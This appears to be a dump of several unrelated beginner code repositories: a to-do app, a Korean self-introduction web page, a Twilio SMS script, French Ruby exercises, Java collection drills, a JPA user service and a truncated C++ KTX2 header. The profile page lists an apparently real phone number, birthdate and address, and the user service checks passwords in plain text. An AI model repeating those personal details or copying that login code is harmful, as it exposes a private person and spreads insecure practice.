li.appendChild(delBtn);
li.appendChild(finishedBtn);
li.id = newId;
toDoPList.appendChild(li);
const toDoObj = {
text: text,
id: newId
};
toDosP.push(toDoObj);
saveToDos();
}
function handleSubmit(event) {
event.preventDefault();
const currentValue = toDoInput.value;
paintToDo(currentValue);
toDoInput.value = "";
}
function loadToDos() {
const loadedToDosP = localStorage.getItem(TODOS_PLS);
const loadedToDosF = localStorage.getItem(TODOS_FLS);
if (loadedToDosP !== null) {
const parsedToDos = JSON.parse(loadedToDosP);
parsedToDos.forEach(function(toDo) {
paintToDo(toDo.text);
});
if (loadedToDosF !== null) {
const parsedToDos = JSON.parse(loadedToDosF);
parsedToDos.forEach(function(toDo) {
paintToDoFinished(toDo.text);
});
}
}
}
function init() {
loadToDos();
toDoForm.addEventListener("submit", handleSubmit);
}
init();
<file_sep>/index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="description" content="자기소개">
<link rel="stylesheet" type="text/css" href="CSS/main.css">
<title>안주원의 자기소개</title>
</head>
<body>
<header class="header">
<div class="nav_wrap">
<a class="home" href="index.html">ANJUWON</a>
<nav class="nav">
<a href="HTML/study.html">STUDY</a>
<a href="HTML/hobby.html">HOBBY</a>
<a href="HTML/contact.html">CONTACT</a>
<a href="HTML/guest.html">GUEST</a>
</nav>
</div>
</header>
<section class="intro_bg">
<div class="welcome">
<h1>WELCOME TO MY FIRST WEB PROJECT</h1>
<p>#첫 웹프로젝트 #자기소개 #포트폴리오</p>
</div>
</section>
<div class="profile_wrap">
<section class="profile">
<h2 class="section_head">PROFILE</h2>
<div class="div_left">
<img src="./Images/profile_photo.jpg" alt="프로필 사진" class="profile_img">
</div>
<div class="div_right">
<h2>Information</h2>
<ul class="info_list">
<li>
<span>이름: </span>
안주원(<NAME>)
</li>
<li>
<span>나이: </span>
1997.08.16(24세)
</li>
<li>
<span>연락처: </span>
010-5443-4408
</li>
<li>
<span>주소: </span>
충남 아산시 송악면
</li>
<li>
<span>이메일: </span>
<EMAIL>
</li>
<li>
<span>전공: </span>
국립공주대학교 소프트웨어전공 졸업예정
</li>
<li>
<span>자격증: </span>
운전면허 1종 보통, 정보처리기사
</li>
</ul>
<h2>Introduce</h2>
<p>
안녕하세요. <br>
항상 창의적이고 새로운 것을 배우고 싶어하는 신입 개발자 안주원입니다.
</p>
</div>
</section>
</div>
<div class="location">
<h2 class="section_head">I'm Living In</h2>
<div class="text_wrap">
<p class="loc_text">
제가 살고 있는 곳은 계곡과 소나무에 둘러 쌓인 산중턱입니다.
<br>
마트나 편의점을 가려면 자동차를 타고 20분은 나가야합니다.
<br>
때로는 불편하고 외롭지만 시원한 공기와 자연을 벗삼아 살아가고 있습니다.
</p>
</div>
<div class="map_wrap">
<iframe class="map"
src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3198.404693187673!2d126.96898341524535!3d36.71284077996655!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x357add48d93bfc41%3A0xab27e3c24f3430d!2z7Lap7LKt64Ko64-EIOyVhOyCsOyLnCDshqHslYXrqbQg7Iah7JWF66GcNDAw67KI6ri4IDExNy0yNQ!5e0!3m2!1sko!2skr!4v1593007407783!5m2!1sko!2skr"
width="600" height="450" frameborder="0" style="border:0;" allowfullscreen="" aria-hidden="false" tabindex="0"></iframe>
</div>
<table class="photo_table">
<tr>
<td><img src="./Images/photo_01.jpg" class="table_img"></td>
<td><img src="./Images/photo_02.jpg" class="table_img"></td>
<td><img src="./Images/photo_03.jpg" class="table_img"></td>
</tr>
<tr>
<td><img src="./Images/photo_04.jpg" class="table_img"></td>
<td><img src="./Images/photo_05.jpg" class="table_img"></td>
<td><img src="./Images/photo_06.jpg" class="table_img"></td>
</tr>
<tr>
<td><img src="./Images/photo_07.jpg" class="table_img"></td>
<td><img src="./Images/photo_08.jpg" class="table_img"></td>
<td><img src="./Images/photo_09.jpg" class="table_img"></td>
</tr>
</table>
</div>
<footer class="footer">
<p> Copyright© <NAME>, All rights reserved.</p>
</footer>
</body>
</html>
| b928044a5a40fbeadf620c8bcbd75298ce7539ef | [
"JavaScript",
"HTML"
] | 2 | JavaScript | juwoon01/webproject_aboutme | 6ae55cf078bff82f017e6501631d5518398d5ac6 | 2b2210c95edc131e5542f7f0a636d0198fdc1655 |
refs/heads/master | <file_sep>array = []
50.times do |i|
i +=1
array << "<EMAIL>"
end
puts array<file_sep>puts "C'est quoi ton prénom?"
print "> "
user_name = gets.chomp
puts "Et ton nom?"
print "> "
family_name = gets.chomp
puts "Bonjour, #{user_name} #{family_name}"<file_sep>puts "Bonjour, c'est quoi ton blase ?"
user_name = gets.chomp
puts user_name
#demande le nom de l'utilisateur<file_sep>number_of_hours_worked_per_day = 10
number_of_days_worked_per_week = 5
number_of_weeks_in_THP = 11
puts "Travail : #{number_of_hours_worked_per_day * number_of_days_worked_per_week * number_of_weeks_in_THP}"
#calcul du nombre d'heures de travail à THP avec l'étoile étant le fois et donne donc 10 x 5 x 11 =550
puts "Et en minutes ça fait : #{number_of_minutes_in_an_hour * number_of_hours_worked_per_day * number_of_days_worked_per_week * number_of_weeks_in_THP}"
#erreur car le number of minutes in an hour n'est pas défini<file_sep>puts "Dis-moi un nombre!"
print "> "
number = gets.to_i
i = 0
until number < i do
puts number
number -= 1
end<file_sep>name = ["louise", "rose"]
surname =["dupont","paul"]
providers= ["gmail.com", "yahoo.fr"]
puts "Combien d'adresses voulez-vous ?"
print ">"
nombre=gets.chomp.to_i
puts "Je vais donc rajouter #{nombre} adresses email"
my_array=Array.new
nombre.times do
email="#{name.sample}.#{surname.sample}#{rand(01...50)}@#{providers.sample}"
my_array.push(email)
end
puts my_array[0..nombre]
puts "Ceci est mon deuxième élément du array : #{my_array[2]}"<file_sep>puts "Dis-moi ton année de naissance!"
print "> "
year = gets.to_i
i = 2018 - year
i.times do |i|
puts "En #{i + year}, tu as eu #{i} années"
end<file_sep>puts "Dis-moi ton âge"
print "> "
age = gets.to_i
i = age
(i+1).times do |i|
puts "Il y a #{age} ans, tu avais #{i} ans "
age -=1
end<file_sep>puts "On va compter le nombre d'heures de travail à THP"
#texte
puts "Travail : #{10 * 5 * 11}"
#calcul du temps de travail en heures
puts "En minutes ça fait : #{10 * 5 * 11 * 60}"
#calcul du temps de travail en minutes
puts "Et en secondes ?"
#texte
puts 10 * 5 * 11 * 60 * 60
#calcul du temps de travail en secondes
puts "Est-ce que c'est vrai que 3 + 2 < 5 - 7 ?"
#booleen
puts 3 + 2 < 5 - 7
#booleen
puts "Ça fait combien 3 + 2 ? #{3 + 2}"
puts "Ça fait combien 5 - 7 ? #{5 - 7}"
#calcul des deux données
puts "Ok, c'est faux alors !"
#texte
puts "C'est drôle ça, faisons-en plus :"
#texte
puts "Est-ce que 5 est plus grand que -2 ? #{5 > -2}"
puts "Est-ce que 5 est supérieur ou égal à -2 ? #{5 >= -2}"
puts "Est-ce que 5 est inférieur ou égal à -2 ? #{5 <= -2}"
#3 booleens pour savoir si vrai ou faux<file_sep>puts "C'est quoi ta date de naissance"
print "> "
year = gets.to_i
i = 2018
until year > i do
puts year
year += 1
end<file_sep>name=["jean", "marie"]
surname=["dupont", "dumarie"]
providers=["gmail.com", "mail.ru"]
puts "Combien d'adresses voulez vous?"
print ">"
nombre=gets.chomp.to_i
puts "Je vais donc rajouter #{nombre} adresses email, les voici:"
sleep 1
my_array=Array.new
nombre.times do
email= "#{name.sample}.#{surname.sample}#{rand(01...50)}@#{providers.sample}"
my_array.push(email)
end
puts my_array[0..nombre]
puts "Et voici les pairs : "
#my_array = (1..nombre).to_a
nombre.times do |i|
if my_array[i].split(//).map {|x| x[/\d+/]}.compact.join("").to_i.even?
impair= my_array[i].split(//).map {|x| x[/\d+/]}.compact.join("").to_i #A REVOIR LA COMMANDE MAIS EST UTILISEE POUR EXTRAIRE LE NOMBRE DE L'ADRESSE EMAIL
puts "L'adresse #{my_array[i]} contient le nombre pair suivant : #{impair} !"
#else
end
end<file_sep>puts "C'est quoi ton année de naissance?"
print "> "
Year_of_birth = gets.to_i
Age = 2017 - Year_of_birth
puts "Tu as eu #{Age} ans en 2017"<file_sep>puts "Dis-moi ton âge"
print "> "
age = gets.to_i
i = age
(i+1).times do |i|
if i!=age
puts "Il y a #{age} ans, tu avais #{i} ans "
age -=1
else
puts "Il y a #{i} ans, tu avais la moitié de l'âge que tu as aujourd'hui"
age -=1
end
end<file_sep>puts "Salut, bienvenue dans ma super pyramide. Dis-moi un nombre entre 1 et 25!"
print "> "
number = gets.to_i
puts "Voici la pyramide"
n=1
while n <= number
puts "# "* n
n -=1
end<file_sep>puts "Dis-moi un nombre!"
print"> "
number = gets.to_i
i = 0
until i > number do
puts i
i +=1
end<file_sep>user_name = gets.chomp
puts user_name
#on ne sait pas ce qui est demandé
<file_sep>puts "Dis-moi un nombre"
print "> "
number = gets.to_i
number.times {puts "Salut, ça farte!"} | 00d44b8609306f6e6cddca24c74fd8d2eb394659 | [
"Ruby"
] | 17 | Ruby | louiseptr/exos | 8ba4e08299b0f5c2c41c1e58bce0ece98f79f66e | 8c9859b6f9fc9ed25fca5315e67c4225245d5670 |
refs/heads/master | <repo_name>CoMoDoS/Assigment4DS<file_sep>/src/main/java/impl/UserServiceImpl.java
package impl;
import model.User;
import service.UserService;
import javax.jws.WebService;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.persistence.Query;
import java.util.List;
@WebService(endpointInterface = "service.UserService")
public class UserServiceImpl implements UserService {
public static EntityManager entityManager;
public static EntityManagerFactory entityManagerFactory;
public User addUser(User user) {
entityManagerFactory = Persistence.createEntityManagerFactory("org.hibernate.tutorial.jpa");
entityManager = entityManagerFactory.createEntityManager();
entityManager.getTransaction().begin();
entityManager.persist(user);
entityManager.getTransaction().commit();
entityManager.close();
entityManagerFactory.close();
return user;
}
public User deleteUser(User user) {
entityManagerFactory = Persistence.createEntityManagerFactory("org.hibernate.tutorial.jpa");
entityManager = entityManagerFactory.createEntityManager();
User user1 = entityManager.find(User.class, user.getIdUser());
entityManager.getTransaction().begin();
entityManager.remove(user1);
entityManager.getTransaction().commit();
entityManager.close();
entityManagerFactory.close();
return user1;
}
public User findUserByEmail(String email){
entityManagerFactory = Persistence.createEntityManagerFactory("org.hibernate.tutorial.jpa");
entityManager = entityManagerFactory.createEntityManager();
Query q = entityManager.createNamedQuery("user.findByEmail");
q.setParameter("email",email);
User user = (User) q.getSingleResult();
entityManager.close();
entityManagerFactory.close();
return user;
}
public User update(User user){
entityManagerFactory = Persistence.createEntityManagerFactory("org.hibernate.tutorial.jpa");
entityManager = entityManagerFactory.createEntityManager();
User user1 = entityManager.find(User.class, user.getIdUser());
entityManager.getTransaction().begin();
user1.setEmail(user.getEmail());
user1.setPassword(<PASSWORD>());
user1.setName(user.getName());
user1.setAdmin(user.getAdmin());
entityManager.getTransaction().commit();
entityManager.close();
return user1;
}
public User[] selectAll(){
entityManagerFactory = Persistence.createEntityManagerFactory("org.hibernate.tutorial.jpa");
entityManager = entityManagerFactory.createEntityManager();
List<User> userList = entityManager.createNamedQuery("user.showAll").getResultList();
User[] users2 = new User[userList.size()];
int i=0;
for(User u:userList ){
User aux = new User(u.getName(), u.getEmail(), u.getPassword(), u.getAdmin());
aux.setIdUser(u.getIdUser());
users2[i++] = aux;
}
entityManager.close();
entityManagerFactory.close();
return users2;
}
public String login(String email, String pass){
entityManagerFactory = Persistence.createEntityManagerFactory("org.hibernate.tutorial.jpa");
entityManager = entityManagerFactory.createEntityManager();
int a = 0;
User user = null;
try {
user = findUserByEmail(email);
if ((user.getEmail().compareTo(email) == 0) && (user.getPassword().compareTo(pass) == 0)) {
a++;
} else {
a = 0;
}
}catch (Exception e){
return "fail-fail";
}
// entityManager.close();
// entityManagerFactory.close();
if (a!=0)
{
return String.valueOf(user.getAdmin()) + "-" + String.valueOf(user.getIdUser());
}
return "fail-fail";
}
public User getById(int id){
entityManagerFactory = Persistence.createEntityManagerFactory("org.hibernate.tutorial.jpa");
entityManager = entityManagerFactory.createEntityManager();
User user1 = entityManager.find(User.class, id);
entityManager.close();
entityManagerFactory.close();
return user1;
}
}
<file_sep>/src/main/java/model/User.java
package model;
import org.hibernate.annotations.GenericGenerator;
import javax.persistence.*;
import java.io.Serializable;
@Entity
@Table(name = "user")
@NamedQueries(
{
@NamedQuery(name = "user.findByEmail", query = "SELECT A FROM User A where A.email LIKE :email"),
@NamedQuery(name = "user.showAll", query = " FROM User as fl")
})
public class User implements Serializable {
private static final long serialVersionUID = -5577579081238070434L;
public User() {
}
@Id
@Column
@GeneratedValue(generator = "incrementor")
@GenericGenerator(name = "incrementor", strategy = "increment")
private int idUser;
@Column(name = "name")
String name;
@Column(name = "email")
String email;
@Column(name = "password")
String password;
@Column(name = "admin")
String admin;
public User(String name, String email, String password, String admin) {
this.name = name;
this.email = email;
this.password = <PASSWORD>;
this.admin = admin;
}
public int getIdUser() {
return idUser;
}
public void setIdUser(int idUser) {
this.idUser = idUser;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getAdmin() {
return admin;
}
public void setAdmin(String admin) {
this.admin = admin;
}
@Override
public String toString() {
return "User{" +
"idUser=" + idUser +
", name='" + name + '\'' +
", email='" + email + '\'' +
", password='" + <PASSWORD> + '\'' +
", admin='" + admin + '\'' +
'}';
}
}
<file_sep>/src/main/java/Start.java
import impl.PersonServiceImpl;
import impl.UserServiceImpl;
import model.User;
public class Start {
public static void main(String[] args) {
User user = new User("jon", "<EMAIL>", "i", "y");
UserServiceImpl userService = new UserServiceImpl();
// userService.addUser(user);
System.out.println(userService.findUserByEmail("<EMAIL>"));
}
}
| 8c959ea90988b536c436a9117744626a28b97781 | [
"Java"
] | 3 | Java | CoMoDoS/Assigment4DS | 7f969369fb68f581498910624dbe560235025beb | e1cf74c754c80d4e5adf0a4a5b7b1892ef9a01f4 |
refs/heads/main | <repo_name>gtanques/estudo-collection-stream<file_sep>/lib/ExemplosSet/ExTreeSet.java
import java.util.Iterator;
import java.util.TreeSet;
public class ExTreeSet {
public static void main(String[] args) throws Exception {
// Quando necessário alterar a ordem atravez do uso de comparadores | Mantém a ordem e pode ser reordenada| Performatica apenas para leitura
// sendo o mais pesado em relação a reordenação.
TreeSet<String> treeCapitais = new TreeSet<>();
treeCapitais.add("Porto Alegre");
treeCapitais.add("Florianópolis");
treeCapitais.add("Curitiba");
treeCapitais.add("São Paulo");
treeCapitais.add("Rio de Janeiro");
// treeCapitais.add("Belo Horizonte");
System.out.println(treeCapitais);
// Retorna topo da árvore
System.out.println(treeCapitais.first());
// Retorna final da árvore
System.out.println(treeCapitais.last());
// Retorna capital acima na árvore
System.out.println("higher: " + treeCapitais.higher("Florianópolis"));
// Retorna capital abaixo na árvore
System.out.println("lower: " + treeCapitais.lower("Florianópolis"));
// Retorna primeira capital removendo da lista
System.out.println(treeCapitais.pollFirst());
// Retorna ultima capital removendo da lista
System.out.println(treeCapitais.pollLast());
System.out.println(treeCapitais);
Iterator<String> iterator = treeCapitais.iterator();
while(iterator.hasNext()){
System.out.println("-> Iterator: " + iterator.next());
}
for (String i : treeCapitais) {
System.out.println("-> ForEach: " + i);
}
}
}
<file_sep>/lib/ExemplosSet/ExHashSet.java
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
public class ExHashSet {
public static void main(String[] args) throws Exception {
// Quando não necessário manter ordenação | Não ordenado, e não permite repetições | Performatica.
Set<Double> notasAlunosSet = new HashSet<>();
// Insere Valores
notasAlunosSet.add(5.8);
notasAlunosSet.add(9.3);
notasAlunosSet.add(6.5);
notasAlunosSet.add(10.0);
notasAlunosSet.add(5.4);
notasAlunosSet.add(7.3);
notasAlunosSet.add(3.8);
notasAlunosSet.add(4.0);
System.out.println(notasAlunosSet);
// Remover nota da lista
notasAlunosSet.remove(3.8);
System.out.println(notasAlunosSet);
Iterator<Double> iterator = notasAlunosSet.iterator();
while(iterator.hasNext()){
System.out.println("-> Iterator: " + iterator.next());
}
for (Double i : notasAlunosSet) {
System.out.println("-> ForEach: " + i);
}
}
}<file_sep>/README.md
## Collections
### Queue
- Ordena em sistema de filas (primeiro a entrar primeiro a sair)
- Permite adição, leitura e remoção considerando a regra básica
de uma fila: Primeiro que entra primeiro que sai.
- Não permite mudança na ordenação.
### Set
- Por padrão não garate ordem.
- Não Permite itens repetidos.
- Permite adição e remoção normalmente.
- Não possui busca por item e atualização para leitura, apenas navegação.
- Não permite mudança de ordenação.
- Não indexada.
#### Implementações:
java.util.HashSet = Quando não necessário manter ordenação | Não ordenado, e não permite repetições | Performatica.
java.util.LinkedHashSet = Quando necessário manter ordenação de inserção | Mantém ordem de inserção | Mais lenta, por manter a ordenação
java.util.TreeSet = Quando necessário alterar a ordem atravez do uso de comparadores | Mantém a ordem e pode ser reordenada| Performatica apenas para leitura
<file_sep>/lib/ExemplosQueue/ExerciciosQueue.java
import java.util.LinkedList;
import java.util.Queue;
public class ExerciciosQueue {
// Exercicio:
// Crie uma fila e execute as seguintes operaçãoes:
// Adicionar 5 nomes: Juliana, Pedro, Carlos, Larissa e João.
// Navegue na fila exibindo cada nome no console.
// Retorne o primeiro item da fila sem removê-lo.
// Retorne o primeiro item da fila, removendo o mesmo.
// Adicione um novo nome: Daniel, verifique a posição que o mesmo
// assumiu na fila.
// Retorne o tamanho da lista.
// Verifique se a lista está vazia.
// Verifique se o nome Carlos está na lista.
public static void main(String[] args) throws Exception {
final String[] arrayPessoas = {"Juliana", "Pedro", "Carlos", "Larissa", "João"};
Queue<String> listaPessoas = new LinkedList<>();
// Adicionar 5 nomes: Juliana, Pedro, Carlos, Larissa e João.
for(int i = 0; i < arrayPessoas.length; i++){
listaPessoas.add(arrayPessoas[i]);
}
// Navegue na fila exibindo cada nome no console.
for (String nomes : listaPessoas) {
System.out.println(nomes);
}
// Retorne o primeiro item da fila sem removê-lo.
System.out.println("Retorne o primeiro item da fila sem removê-lo: " + listaPessoas.peek());
System.out.println(listaPessoas);
// Retorne o primeiro item da fila, removendo o mesmo.
System.out.println("Retorne o primeiro item da fila, removendo o mesmo: " + listaPessoas.poll());
System.out.println(listaPessoas);
// Adicione um novo nome: Daniel, verifique a posição que o mesmo
listaPessoas.add("Daniel");
System.out.println(listaPessoas);
// Retorne o tamanho da lista.
System.out.println("Tamanho da lista: " + listaPessoas.size());
// Verifique se a lista está vazia.
System.out.println("Lista está vazia?: " + listaPessoas.isEmpty());
// Verifique se o nome Carlos está na lista.
System.out.println("Lista contém Carlos?: " + listaPessoas.contains("Carlos"));
System.out.println(listaPessoas);
}
}
| 031f001842f2d6946c675099bf7d034952078ad4 | [
"Markdown",
"Java"
] | 4 | Java | gtanques/estudo-collection-stream | 548d9567d987168bf37eab30dce8a110e206f5a5 | 161a1372b5d607520ab1b3589ac274f00197ac30 |
refs/heads/main | <repo_name>ctrujillo0008/twillio_api<file_sep>/send_sms_twilio.py
import os
from twilio.rest import Client
# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = 'xxxxxxxxxxxxxxxxxxx'
auth_token = '<PASSWORD>'
client = Client(account_sid, auth_token)
message = client.messages \
.create(
body="Join Earth's mightiest heroes. Like <NAME>.",
from_='+##########',
to='+1##########'
)
print(message.sid)
<file_sep>/README.md
# twillio_api
trying twilios sms api :-)
| 21b0fd32e800a3442fca7272d0075d8013d4270c | [
"Markdown",
"Python"
] | 2 | Python | ctrujillo0008/twillio_api | d2ce46c714c43cad40cafab597825ceb74b909da | c1f05d7fe451ad77653a990f9554e9d199a959ad |
refs/heads/master | <file_sep>//
// UIViewController+KeyboardLayoutGuide.swift
// KeyboardLayoutGuide
//
// Created by <NAME> on 24.10.17.
// Copyright © 2018 <NAME>. All rights reserved.
//
import UIKit
import FirstResponder
var keyboardWillChangeFrameObserverKey: UInt8 = 0
var keyboardWillHideObserverKey: UInt8 = 0
var keyboardLayoutGuideKey: UInt8 = 0
var keyboardLayoutGuideConstraintKey: UInt8 = 0
var keyboardLayoutGuideAccessoryViewConstraintKey: UInt8 = 0
var keyboardLayoutGuideWillDisappearKey: UInt8 = 0
var keyboardLayoutGuideWillAppearKey: UInt8 = 0
private func replaceImplementation(_ originalSelector: Selector, with swizzledSelector: Selector, of object: NSObject.Type) {
let originalMethod = class_getInstanceMethod(object, originalSelector)!
let swizzledMethod = class_getInstanceMethod(object, swizzledSelector)!
method_exchangeImplementations(originalMethod, swizzledMethod)
}
private let keyboardLayoutGuideSwizzling: (UIViewController.Type) -> Void = { viewController in
replaceImplementation(#selector(viewController.viewWillAppear(_:)),
with: #selector(viewController.keyboardLayoutGuide_viewWillAppear(_:)),
of: viewController)
replaceImplementation(#selector(viewController.viewDidAppear(_:)),
with: #selector(viewController.keyboardLayoutGuide_viewDidAppear(_:)),
of: viewController)
replaceImplementation(#selector(viewController.viewWillDisappear(_:)),
with: #selector(viewController.keyboardLayoutGuide_viewWillDisappear(_:)),
of: viewController)
replaceImplementation(#selector(viewController.viewDidDisappear(_:)),
with: #selector(viewController.keyboardLayoutGuide_viewDidDisappear(_:)),
of: viewController)
}
extension UIViewController {
fileprivate var keyboardWillChangeFrameObserver: NSObjectProtocol? {
get {
return objc_getAssociatedObject(self, &keyboardWillChangeFrameObserverKey) as? NSObjectProtocol
}
set {
objc_setAssociatedObject(self, &keyboardWillChangeFrameObserverKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
}
}
fileprivate var keyboardWillHideObserver: NSObjectProtocol? {
get {
return objc_getAssociatedObject(self, &keyboardWillHideObserverKey) as? NSObjectProtocol
}
set {
objc_setAssociatedObject(self, &keyboardWillHideObserverKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
}
}
fileprivate var keyboardLayoutGuideConstraint: NSLayoutConstraint? {
get {
return objc_getAssociatedObject(self, &keyboardLayoutGuideConstraintKey) as? NSLayoutConstraint
}
set {
objc_setAssociatedObject(self, &keyboardLayoutGuideConstraintKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
}
}
fileprivate var keyboardLayoutGuideAccessoryViewConstraint: NSLayoutConstraint? {
get {
return objc_getAssociatedObject(self, &keyboardLayoutGuideAccessoryViewConstraintKey) as? NSLayoutConstraint
}
set {
objc_setAssociatedObject(self, &keyboardLayoutGuideAccessoryViewConstraintKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
}
}
fileprivate var keyboardLayoutGuideWillAppear: Bool {
get {
return objc_getAssociatedObject(self, &keyboardLayoutGuideWillAppearKey) as? Bool ?? false
}
set {
objc_setAssociatedObject(self, &keyboardLayoutGuideWillAppearKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
}
}
fileprivate var keyboardLayoutGuideWillDisappear: Bool {
get {
return objc_getAssociatedObject(self, &keyboardLayoutGuideWillDisappearKey) as? Bool ?? false
}
set {
objc_setAssociatedObject(self, &keyboardLayoutGuideWillDisappearKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
}
}
fileprivate static var keyboardLayoutGuideDidSwizzle = false
private func keyboardLayoutGuide(createIfNil: Bool) -> UILayoutGuide? {
let guide = objc_getAssociatedObject(self, &keyboardLayoutGuideKey) as? UILayoutGuide
if guide == nil && createIfNil {
if !UIViewController.keyboardLayoutGuideDidSwizzle {
keyboardLayoutGuideSwizzling(UIViewController.self)
UIViewController.keyboardLayoutGuideDidSwizzle = true
}
registerKeyboardObservers()
let newGuide = UILayoutGuide()
view.addLayoutGuide(newGuide)
keyboardLayoutGuideConstraint = newGuide.topAnchor.constraint(equalTo: self.view.topAnchor, constant: self.view.frame.height)
keyboardLayoutGuideConstraint?.priority = .defaultLow
keyboardLayoutGuideConstraint?.isActive = true
keyboardLayoutGuideAccessoryViewConstraint = newGuide.topAnchor.constraint(lessThanOrEqualTo: self.view.bottomAnchor, constant: 0)
keyboardLayoutGuideAccessoryViewConstraint?.priority = .defaultHigh
keyboardLayoutGuideAccessoryViewConstraint?.isActive = true
newGuide.topAnchor.constraint(equalTo: view.bottomAnchor, constant: 0)
newGuide.topAnchor.constraint(lessThanOrEqualTo: self.view.safeAreaLayoutGuide.bottomAnchor).isActive = true
newGuide.bottomAnchor.constraint(equalTo: view.bottomAnchor, constant: 0).isActive = true
newGuide.leadingAnchor.constraint(equalTo: self.view.leadingAnchor, constant: 0).isActive = true
newGuide.trailingAnchor.constraint(equalTo: self.view.trailingAnchor, constant: 0).isActive = true
return newGuide
}
return guide
}
public var keyboardLayoutGuide: UILayoutGuide? {
get {
return keyboardLayoutGuide(createIfNil: true)
}
}
@objc public func keyboardLayoutGuide_viewWillAppear(_ animated: Bool) {
self.keyboardLayoutGuideWillAppear = true
self.keyboardLayoutGuideWillDisappear = false
keyboardLayoutGuide_viewWillAppear(animated)
}
@objc public func keyboardLayoutGuide_viewDidAppear(_ animated: Bool) {
self.keyboardLayoutGuideWillAppear = false
self.keyboardLayoutGuideWillDisappear = false
keyboardLayoutGuide_viewDidAppear(animated)
if keyboardLayoutGuide(createIfNil: false) != nil {
registerKeyboardObservers()
}
}
@objc public func keyboardLayoutGuide_viewWillDisappear(_ animated: Bool) {
self.keyboardLayoutGuideWillAppear = false
self.keyboardLayoutGuideWillDisappear = true
keyboardLayoutGuide_viewWillDisappear(animated)
if keyboardLayoutGuide(createIfNil: false) != nil {
unregisterKeyboardObservers()
}
}
@objc public func keyboardLayoutGuide_viewDidDisappear(_ animated: Bool) {
self.keyboardLayoutGuideWillAppear = false
self.keyboardLayoutGuideWillDisappear = false
keyboardLayoutGuide_viewDidDisappear(animated)
}
func registerKeyboardObservers() {
self.keyboardWillChangeFrameObserver = NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillChangeFrameNotification, object: nil, queue: nil, using: { [weak self] notification in
//print("keyboard change \(payload.beginFrame) -> \(payload.endFrame) (\(payload.animationDuration))")
self?.keyboardLayoutGuide_updateConstraints(keyboardIsVisible: true, notification: notification)
})
self.keyboardWillHideObserver = NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillHideNotification, object: nil, queue: nil, using: { [weak self] notification in
// The hide event is needed when scrolling down the keyboard and drop it at the bottom (dont leave screen with finger)
self?.keyboardLayoutGuide_updateConstraints(keyboardIsVisible: false, notification: notification)
})
}
func unregisterKeyboardObservers() {
if let observer = self.keyboardWillChangeFrameObserver {
NotificationCenter.default.removeObserver(observer, name: UIResponder.keyboardWillChangeFrameNotification, object: nil)
}
if let observer = self.keyboardWillHideObserver {
NotificationCenter.default.removeObserver(observer, name: UIResponder.keyboardWillHideNotification, object: nil)
}
}
func keyboardLayoutGuide_updateConstraints(keyboardIsVisible: Bool, notification: Notification) {
let beginFrame = notification.userInfo?[UIResponder.keyboardFrameBeginUserInfoKey] as! CGRect
let endFrame = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as! CGRect
let animationDuration = notification.userInfo?[UIResponder.keyboardAnimationDurationUserInfoKey] as! Double
if keyboardIsVisible && endFrame.origin.y == beginFrame.origin.y {
return
}
if self.keyboardLayoutGuideWillDisappear {
return
}
if let constraint = keyboardLayoutGuideConstraint {
self.view.setNeedsLayout()
let point = self.view.convert(endFrame.origin, from: nil)
constraint.constant = point.y
if let firstResponder = UIResponder.first, let accessoryView = firstResponder.inputAccessoryView ?? firstResponder.inputAccessoryViewController?.view {
self.keyboardLayoutGuideAccessoryViewConstraint?.constant = -accessoryView.frame.height
}
if !self.keyboardLayoutGuideWillAppear {
if animationDuration > 0 {
self.view.layoutIfNeeded()
}
}
}
}
}
<file_sep>use_frameworks!
target 'KeyboardLayoutGuide_Example' do
pod 'KeyboardLayoutGuide', :path => '../'
pod 'FirstResponder', :path => '../../FirstResponder/'
target 'KeyboardLayoutGuide_Tests' do
inherit! :search_paths
end
end
| 3152e972b41d33dfbbc606e3a007dc743dd0613f | [
"Swift",
"Ruby"
] | 2 | Swift | johannesd/KeyboardLayoutGuide | 34acb359ab464c70a24a60cd148ee586e9578216 | 7147e6a2da64be602e9b7894e71a7bd7c29f5fa2 |
refs/heads/master | <file_sep>import java.lang.reflect.Array;
import java.util.*;
public class _07CombineListsOfLetters {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
ArrayList<Character> l1 = new ArrayList<Character>();
ArrayList<Character> l2 = new ArrayList<Character>();
for (char ch : input.nextLine().toCharArray()
) {
l1.add(ch);
}
for (char ch : input.nextLine().toCharArray()
) {
l2.add(ch);
}
ArrayList<Character> combinedList = new ArrayList<>();
combinedList.addAll(l1);
for (int i = 0; i < l2.size(); i++) {
if (!l1.contains(l2.get(i))) {
combinedList.add(' ');
combinedList.add(l2.get(i));
}
}
for (char character : combinedList) {
System.out.print(character);
}
}
}
<file_sep># -Homework-JavaCollections
JavaCollections
| 1f100ca334e3347806651a23f54edf4133707368 | [
"Markdown",
"Java"
] | 2 | Java | SKT3/-Homework-JavaCollections | 685f0484a0e8905da21245f3a735ca9ea38b6c62 | 22824d84458ea9b320555398df7b7c3923184409 |
refs/heads/master | <repo_name>ux3d/slimktx2<file_sep>/include/kvd.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include <cstdint>
namespace ux3d
{
namespace slimktx2
{
struct KeyValueData
{
static constexpr auto KTXwriterKey = "KTXwriter";
static constexpr auto KTXwriterKeyLength = sizeof("KTXwriter");
static constexpr auto KTXwriterValue = "UX3D SlimKTX2 v1.0";
static constexpr auto KTXwriterValueLength = sizeof("UX3D SlimKTX2 v1.0");
struct Entry
{
